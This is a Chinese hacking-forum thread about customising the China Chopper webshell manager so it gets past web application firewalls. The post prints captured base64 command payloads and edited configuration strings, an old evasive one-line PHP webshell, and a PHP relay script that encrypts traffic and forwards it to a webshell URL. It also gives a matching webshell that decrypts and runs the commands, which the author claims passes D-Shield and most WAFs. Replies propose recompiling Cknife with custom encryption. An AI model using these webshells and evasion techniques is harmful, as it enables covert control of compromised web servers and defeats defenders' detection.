[【通过】] 打造自己的中国菜刀

[复制链接]
gy00fly 发表于 2017-7-5 20:59:42 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 16

本帖最后由 gy00fly 于 2017-7-6 00:13 编辑

      拿到一个webshell后,我们通常喜欢用中国菜刀去管理,而很多时候我们有了过WAF的一句话,但是却没有一个过waf的菜刀。新版的菜刀中有一个caidao.conf文件,我们可以通过修改里面的配置达到过waf的目的,这里我分享一下思路和方法。说明一下,我只是借鉴前人的方法按自己理解去修改,有什么不好不对的地方请大家指出来。

      这是菜刀的目录,其他的不知道可不可以动,但是可以修改caidao.conf文件,作者也说了,可以通过修改里面的配置达到绕过的效果。

    2.png
       绕WAF之前,首先我们需要知道菜刀的工作原理。我在虚拟机用phpstudy搭建了一个环境,放了一个一句话木马,然后用菜刀连接。

       3.png
       用抓包的方式来了解菜刀的工作情况。
       4.png
       抓到的数据:

Y=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0Q6XFxwaHBTdHVkeVxcV1dXXFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));

      Y是一句话的木马,上面的数据我们可以简化一下
Y=array_map("assert",array("evAl(\"\\\$xx=\\\"BaSE64_dEcOdE\\\";@eval(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0Q6XFxwaHBTdHVkeVxcV1dXXFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));

      我们将这数据包以POST的方式发送出去
      5.png

      可以看到列出了目录,成功的执行了菜刀传过去的数据
      分析一下,菜刀是用函数array_map执行了assert(eval(base64_decode(“%s”))),%s就是菜刀传出的base64加密的数据,一般我们不会去改这个。这个时候我们看一下菜刀的配置文件。
      6.png
//PHP_BASE参数:%s
<PHP_BASE>
array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
</PHP_BASE>



       可以看到,实现的方法就写在菜刀配置文件中,那么我们就可以通过修改配置传输菜刀的数据。
       菜刀用的是array __map函数,那么我们是不是可以换个函数使用比如说array_diff_uassoc()替换一下:
   
y=array_diff_uassoc(array("eval(\"\\\$xx=\\\"BaSE64_dEcOdE\\\";@eval(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0Q6XFxwaHBTdHVkeVxcV1dXXFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"=>""), array(''),"assert");

       POST一下
       7.png
       也是列出了目录,说明成功了,然后我们写入到菜刀的配置中
array_diff_uassoc(array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"), array(''), "as"."sert");
        然后试试菜刀,可以连接。
       8.png
        以前有个过狗一句话是这样的
<?php
$a=array($_REQUEST[pass]=>"");
$b=array('');
array_diff_uassoc($a,$b,create_function('$a','return assert($a);'));?>


       现在是不过狗了,但是可以借鉴现在使用的一句话,利用同样的思路修改菜刀配置文件,不过一定要注意到eval和assert并不是等同的  

       而菜刀作者本身也提供了一个很好的思路
      9.png
       可以很清楚的看到,菜刀是将数据整体传输到服务器在一句话中用base64解码执行,这样也就可以达到绕过waf的效果,但是现在估计也不能用了。

        下面是我网上看到的两种方法:
         https://www.secpulse.com/archives/53456.html

      第一个思路和菜刀作者差不多,也是将传输的数据Base64加密,在服务器接收的时候解密执行。
      第二个是在传输的过程中,利用中转的方式把base64_decode提取出来以&1141056911=base64_decode的方式传过去在用$_GET[1141056911]接收。
      那我们是不是可以把这两个方法结合一下呢       他们用的Base64加密。那我们是不是可以换个加密算法,或则自己写个加密算法,是不是还可以再猥琐点使用多次加密呢。
      我在百度找了个php写的加密算法,然后添加到上面的中转脚本,修改一下,放在我的另一虚拟机里面:

       php中转脚本:123.php
<?php
function encrypt($data, $key) //加密算法
{
$key = md5($key);
    $x  = 0;
    $len = strlen($data);
    $l  = strlen($key);
    for ($i = 0; $i < $len; $i++)
    {
        if ($x == $l)
        {
         $x = 0;
        }
        $char .= $key{$x};
        $x++;
    }
    for ($i = 0; $i < $len; $i++)
    {
        $str .= chr(ord($data{$i}) + (ord($char{$i})) % 256);
    }
    return base64_encode($str);
}


$webshell="http://192.168.117.133/cmd.php";//把这里改成你的shell地址
$da=$_POST;
$data = $da;
$key = '123'; // 密钥
//print_r($data);   
$encrypt = encrypt($data[y], $key);

$data[y]= $encrypt;//y是你的一句话木马密码

$data = http_build_query($data);   
$opts = array (   
'http' => array (   
'method' => 'POST',   
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .   
"Content-Length: " . strlen($data) . "\r\n",   
'content' => $data)
);

$context = stream_context_create($opts);   
$html = @file_get_contents($webshell, false, $context); //发送post  
echo $html;

?>

       然后将我们的解密算法写在我们的一句话中

<?php
function decrypt($data, $key)
{
$key = md5($key);
    $x = 0;
    $data = base64_decode($data);
    $len = strlen($data);
    $l = strlen($key);
    for ($i = 0; $i < $len; $i++)
    {
        if ($x == $l)
        {
         $x = 0;
        }
        $char .= substr($key, $x, 1);
        $x++;
    }
    for ($i = 0; $i < $len; $i++)
    {
        if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1)))
        {
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
        }
        else
        {
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
        }
    }
    return $str;
}
$key = '123';//密钥
$a=rtrim('tressaxxxxx','x');
$b=strrev($a);
$c=$_REQUEST["y"];
$decrypt = decrypt($c, $key);
@$b(base64_decode($decrypt));
?>

    这个一句话D盾一级,应该能过大多的WAF。
    然后菜刀的配置改成作者的ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s         

     目标换成我的另一个虚拟机的ip:192.168.117.129
     我们的POST数据就变成y=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs=
&id=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0Q6XFxwaHBTdHVkeVxcV1dXXFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs=



      然后POST一下
    10.png
      也是执行了,后面用菜刀连接也是可以的。

      这里分享的是php的,其他的也可以采用中转或函数替换,但是要复杂点,毕竟PHP是世界上最伟大的语言

      因为一些原因,我本地搭建的环境安全狗和云锁只拦截注入,不拦截菜刀,我也不好测试。不过按照这个思路应该是能过很多WAF的。
      我只是分享一下方法和思路。文笔不好,写的也有点乱,有错误请指出。

      最后再分享一篇我看到的文章,也许能给你们更好的思路,由于他的博客关了,就发PDF吧
       无特征过狗一句话猥琐思路 _ Bypass.pdf (716.49 KB, 下载次数: 563)

评分

参与人数 2酒票 +6 收起 理由
ssss先生 + 1 还你个蓝buff
管理05 + 5 欢迎加入90!

查看全部评分

sanhao 发表于 2017-7-5 21:14:18 | 显示全部楼层

正式成员|主题 |帖子 |积分 47

有意思~多谢楼主的思路 一会试试去
Exploit_小宇 发表于 2017-7-5 23:18:46 | 显示全部楼层

正式成员|主题 |帖子 |积分 151

总感觉排版比土司的好看一点哈哈哈哈。
WangEX 发表于 2017-7-6 11:25:59 | 显示全部楼层

正式成员|主题 |帖子 |积分 32

先不说菜刀可定制性如何,不开源就是一大缺陷。 要说过waf我推荐用开源的webshell管理工具,一是安全;二是可定制性高,可以自己改代码。之前我也试过用修改菜刀配置文件,但是菜刀的数据发送方式已经写死在代码里,比如:每发送一个请求,它都会在payload前面给你加一段代码,而这段代码你又改不了,明显就是waf喜欢的特征。这个时候就只有像楼主一样用中转脚本,但是这个太麻烦了。要用菜刀就要用的得心应手,每次连shell还要搞个中转脚本太麻烦。所以我来提一个方案:

1. github clone一份cknife的源码,自己编译一份(开发者放在百度云盘已经编译好的我都不敢用 )。
2. 自己写个简单的算法来加密、解密payload
3. 把配置文件里的payload的用你的算法加密
4. 解密算法集成到webshell里

这样一来所有在网络中传递的数据都是经过自写算法加密的waf就很难拦截了。而且这样也不怕后门,哎,都是套路啊

评分

参与人数 1酒票 +2 收起 理由
管理05 + 2 积极参与讨论

查看全部评分

 楼主 gy00fly 发表于 2017-7-6 22:57:46 | 显示全部楼层

正式成员|主题 |帖子 |积分 16

RE: 打造自己的中国菜刀

WangEX 发表于 2017-7-6 11:25
先不说菜刀可定制性如何,不开源就是一大缺陷。 要说过waf我推荐用开源的webshell管理工具,一是安全;二是 ...

谢谢表哥的分析,学习了
刺刀 发表于 2017-7-7 01:03:16 | 显示全部楼层

正式成员|主题 |帖子 |积分 103

楼主方便私信下吗
Tequila 发表于 2017-7-10 09:09:13 | 显示全部楼层

正式成员|主题 |帖子 |积分 7

RE: 打造自己的中国菜刀

WangEX 发表于 2017-7-6 11:25
先不说菜刀可定制性如何,不开源就是一大缺陷。 要说过waf我推荐用开源的webshell管理工具,一是安全;二是 ...

java不会是硬伤
快速回复 返回顶部 返回列表